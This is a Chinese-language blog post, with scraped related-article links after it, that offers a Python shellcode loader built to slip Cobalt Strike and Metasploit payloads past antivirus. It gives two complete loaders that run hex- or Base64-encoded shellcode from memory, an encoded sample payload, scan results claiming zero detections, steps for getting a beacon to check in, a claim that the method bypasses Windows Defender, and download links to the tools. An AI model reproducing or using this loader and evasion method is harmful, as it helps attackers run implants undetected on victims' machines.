0x001 原理

采用分离法,即将ShellCode和加载器分离。方法较LOW但免杀。

本文主要将ShellCode转成HEX,再通过加载器执行ShellCode。

PS: 何为SC加载器,即专门用于加载所提供ShellCode的工具。

如同HTTP发包工具,支持提交HTTP,写死参数最多只能叫EXP。

再详细点,打个比方,你只会炒一个菜,你敢说你是厨师吗?

0x002 ShellCode免杀

CS可生成很多种格式的ShellCode,具体该用哪一种呢?

由于部分杀软会查杀ShellCode文件,所以不能直接使用RAW。

其实不用测都知道HEX字串肯定比RAW或标准C格式安全。

因为RAW和标准C格式一直以来都比较常用,被杀一点都不奇怪。

当然实际上使用任意格式都可以,前提是需要加解密。

下面我们拿CS3.13的ShellCode来做个对比,结果如下

CS生成Raw格式的ShellCode被7个杀软查杀(payload.bin)
http://r.virscan.org/language/zh-cn/report/a24430ec84bdb3dd3ee0b7a1aa501635
将CS的ShellCode转成Hex无一杀软查杀(hex.txt)
http://r.virscan.org/language/zh-cn/report/fe7412921c7acc9d69b0da72793cd57d

0x003 加载器

以python为例,这个无脑的语言开发比较快。要使用其它加解密算法也非常简单

缺点就是文件有点大而已,不过问题不大,毕竟在免杀面前2M也是能接受的哈哈。

其它语言也同理啊,大家不要纠结用什么语言来写工具。用PY只是便于大家理解

ScRunHex.py

#scrun by k8gege
import ctypes
import sys
#calc.exe
#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
shellcode=bytearray(sys.argv[1].decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

下面以前写的加载器,GUI的专门用于本地测试ShellCode是否正常用的,在测试漏洞的时候,

首先先保证你的ShellCode是可运行的吧,要不然漏洞没问题,马没上线,你说漏洞不行就乱来了。

除了PY和C#以外,VC、Delphi、VB的SC加载都有写过,Delphi版的在博客里就能找到例子。

 0x004 实战CS上线

一、Hex ShellCode

1.首先使用CS生成标准C格式的payload,格式(\xfc\xe8\x89\x00)在飞刀里我定义为Char格式

2.因为CS没有直接生成HEX格式的功能,所以需要使用K8飞刀将其转换成HEX格式。

具体步骤:选中Char格式的Shellcode,右键-Hacking--ShellCode--Char2Hex

其它溢出漏洞使用的ShellCode格式,均可使用飞刀进行转换或反转成标准格式

3.使用scrun.exe加载Hex格式的ShellCode,发现我们的CS上线了。

如果我没记错此方式目前也还能过Win10系统自带的Defender

不知大家有没发现Hex字符串除了不被杀以外,还无需落地

而Bin文件需要落地且被Defender杀(这个我肯定没有记错)

二、Base64(Hex) ShellCode

当然我们还可以对其进一步加密,先将Char转成Hex,再将HEX加密转成Base64,加密方法同上。

ScRunBase64.py 执行Base64格式ShellCode代码如下

#scrun by k8gege
import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

0x005 下载

https://github.com/k8gege/scrun

https://github.com/k8gege/K8tools/blob/master/scrun.exe

https://github.com/k8gege/K8tools/blob/master/scrun.py

PS:网上有些文章把aspx加载shellcode称为分离Payload,难道只有EXE才叫Payload?

那么SQL注入时的SQL语句为什么叫Payload?远程代码执行的代码为什么叫Payload?

溢出漏洞的ShellCode为什么叫Payload? ShellCode写死在加载器里的显然不叫分离。

此时的加载器已经不叫加载器了,正如HTTP发包工具,支持任意HTTP发包。

但是把参数写死的HTTP发包,为什么只是叫XX利用工具,而不是叫发包工具。

同理,ShellCode加载器专门用于加载各类ShellCode的才叫加载器。

其实以前也写过VC版的加载器,只是方法较LOW,需要多一个文件或传参执行不适合发马

发马又得想方设法将其捆绑成一个文件,捆绑可能还会被杀,VC被杀得比较历害。

ShellCode加密分离后,因为最终执行需解必,拼按时就被杀了,都还没得加载。

所以从未打算使用这种LOW方法免杀,一般是没能力做单文件免杀才需要分离。

而不是现在一些人认为所谓高级新的免杀方法,这种小儿科,在刚接触这行时就会了

看看07-12年那会,捆绑还多么流行,木马切割成多文件合并免杀的思路会没人想到?

现在是因为捆绑可能导致更容易被杀,没办法才被迫使用分离,毕竟能一文件谁愿多文件

当然单文件我也可以做,只是费点时间,懒得做而已。相关APT文章里就很多方法

基本都是白名单加载DLL,DLL释放各种加密文件,再解密执行,最终加载CS而已。

[原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)的更多相关文章

  1. 浅析golang shellcode加载器

    最近也是学习了一下有关shellcode进程注入的操作,简单分享一下通过golang进行实现shellcode加载器的免杀思路. 杀软的查杀方式 静态查杀:查杀的方式是结合特征码,对文件的特征段如Ha ...

  2. 理解go语言的shellcode加载器

    序言 本文假设你知道unsafe包常见函数的用法,若否,请查看 https://books.studygolang.com/gopl-zh/ch13/ch13-01.html  第13章. 例子和代码 ...

  3. 附件携马之CS免杀shellcode过国内主流杀软

    0x01 写在前面 其实去年已经写过类似的文章,但是久没用了,难免有些生疏.所谓温故而知新,因此再详细的记录一下,一方面可以给各位看官做个分享,另一方面等到用时也不至于出现临阵磨枪的尴尬场面. 0x0 ...

  4. 恶意软件开发——编写第一个Loader加载器

    一.什么是shellcode loader? 上一篇文章说了,我们说到了什么是shellcode,为了使我们的shellcode加载到内存并执行,我们需要shellcode加载器,也就是我们的shel ...

  5. 实现一个类 RequireJS 的模块加载器 (二)

    2017 新年好 ! 新年第一天对我来说真是悲伤 ,早上兴冲冲地爬起来背着书包跑去实验室,结果今天大家都休息 .回宿舍的时候发现书包湿了,原来盒子装的牛奶盖子松了,泼了一书包,电脑风扇口和USB口都进 ...

  6. JAVA-大白话探索JVM-类加载器(一)

    JVM??? Java语言的一个非常重要的特点就是与平台的无关性.而使用Java虚拟机是实现这一特点的关键.JVM是Java Virtual Machine(Java虚拟机)的缩写,Java程序编译后 ...

  7. 使用RequireJS并实现一个自己的模块加载器 (二)

    2017 新年好 ! 新年第一天对我来说真是悲伤 ,早上兴冲冲地爬起来背着书包跑去实验室,结果今天大家都休息 .回宿舍的时候发现书包湿了,原来盒子装的牛奶盖子松了,泼了一书包,电脑风扇口和USB口都进 ...

  8. Python 中 unittest 框架加载测试用例的常用方法

    unittest 当中为我们提供了许多加载用例的方法,这里说下常用的两种方法...推荐使用第二种 第一种加载测试用例的方法:使用加载器加载两个模块 需要把所有的模块加载到套件中 那么就可以自动的运行所 ...

  9. PE解析器与加载器编写指南

    PE解析器与加载器编写指南 最近准备去实习,看公司要求应该开发PE相关的查杀引擎,因此再回头复习一下PE格式,重新写一个PE解析器和PE加载器,再此记录下有关坑. PE解析器部分: 1)如何确定节区表 ...

随机推荐

  1. DP之背包

    一.01背包: (以下均可用一维来写 即只能选择一次的物品装在一定容积的背包中.f[i][j]表示前i件物品在容积为j时的最大价值. for(int i = 1; i <= n ;  i++){ ...

  2. tp5.0在控制器中和在模板中调用配置文件中的常量

    框架配置文件config.php中定义 'view_replace_str'  =>  [ '__MEMBER__'=> '/static/member',         '__uplo ...

  3. mysql后台线程详解

    1.mysql后台线程 mysql后台线程主要用于维持服务器的正常运行和完成用户提交的任务,主要包括:master thread,read thread,write thread,redo log t ...

  4. 【MySQL】备份和恢复

    语法 mysqldump -uslave -p -h127.0.0.1 --single-transaction --set-gtid-purged=OFF database1 table1 tabl ...

  5. 在知识爆炸的年代如何学习,避免成为PPT架构师

    计算机的发展大体遵循摩尔定律,IT要学的东西越来越多,感觉无从下手 然后发现许多人,专门喜欢说这些名词概念装高大上,脱离一线开发,技术跟风盲目崇拜新的骚东西,比如docker,k8s,微服务,open ...

  6. linux的性能调优

    单机调优: 分析性能瓶颈的原因,解决它.   cpu子系统 内存子系统 IO子系统 网络系统       @cpu子系统调优 cpu技术指标 xeon E5520 2.27GHz 8192kb # c ...

  7. 数据结构篇——字典树(trie树)

    引入 现在有这样一个问题, 给出\(n\)个单词和\(m\)个询问,每次询问一个单词,回答这个单词是否在单词表中出现过. 好像还行,用 map<string,bool> ,几行就完事了. ...

  8. Bootstrap 提示工具(Tooltip)插件

    一.提示工具(Tooltip)插件根据需求生成内容和标记,默认情况下是把提示工具(tooltip)放在它们的触发元素后面. 有以下两种方式添加提示工具(tooltip): 1.通过data属性:如需添 ...

  9. 201671010456-张琼 实验十四 团队项目评审&课程学习总结

    博文简要信息表 项目 内容 这个作业属于哪个课程 http://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.com/nwnu- ...

  10. unity texture贴图纹理

    文章内一些内容引用自作者:Aimar_Johnny http://blog.csdn.net/lzhq1982/article/details/75045358 导入png图片,默认显示如下 Text ...